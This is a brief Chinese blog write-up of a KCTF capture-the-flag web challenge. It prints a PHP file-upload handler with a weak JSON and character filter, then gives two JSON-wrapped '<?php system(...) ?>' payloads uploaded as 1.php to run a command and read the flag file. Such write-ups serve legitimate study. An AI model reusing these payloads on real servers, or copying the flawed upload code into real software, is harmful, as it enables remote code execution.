0%

Kctf

emmmm,不懂怎么描述看雪的这题WEB…

第一次写题目这么快…但还是记录一下这题虽然不太清楚想考什么…

第八题

上来就给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if (isset($_FILES["file"]["tmp_name"])) {
$file = fopen($_FILES["file"]["tmp_name"], "r");
$data = fread($file, filesize($_FILES["file"]["tmp_name"]));
$arr = json_decode($data, true, 2);
if (json_last_error() != JSON_ERROR_NONE) {
die("JsonErr");
}
if (count($arr) != 1) {
die("DataErr");
}
$data = $arr['data'];
$len = strlen($data);
if ($len > 56) {
die("Long");
}
if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
die("no");
}
$name = mt_rand();
$ext = strrchr($_FILES['file']['name'], '.');
$ext = trim($ext);
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
echo "upload/" . $name . $ext;
} else {
highlight_file(__FILE__);
}
?>

代码意思大概就是,$_FILE传入的文件打开之后经过json解码不会出错,json键值的个数只有一个才能绕过判断。数据长度不能超过56,内容有检查,匹配了一些符号,但是没匹配到<?php等关键的字样,上传成功之后会生成一个路径给你,用不上phpseed爆破了。

于是我们构造1.php

1
{"$a;/*":"*/a=<?php system('cat /../flag'); ?>"}

上传访问即可getflag。

因为写出来过了挺久的忘记做记录了,结果环境关了没法截图了…

其实不用想我上面的那么麻烦,人家基本没加过滤。

直接1.php

1
{"a":"<?php system('cat /../flag'); ?>"}

都可以。

传参不会的可以用Postman的file选项。


-------------    本文结束  感谢您的阅读    -------------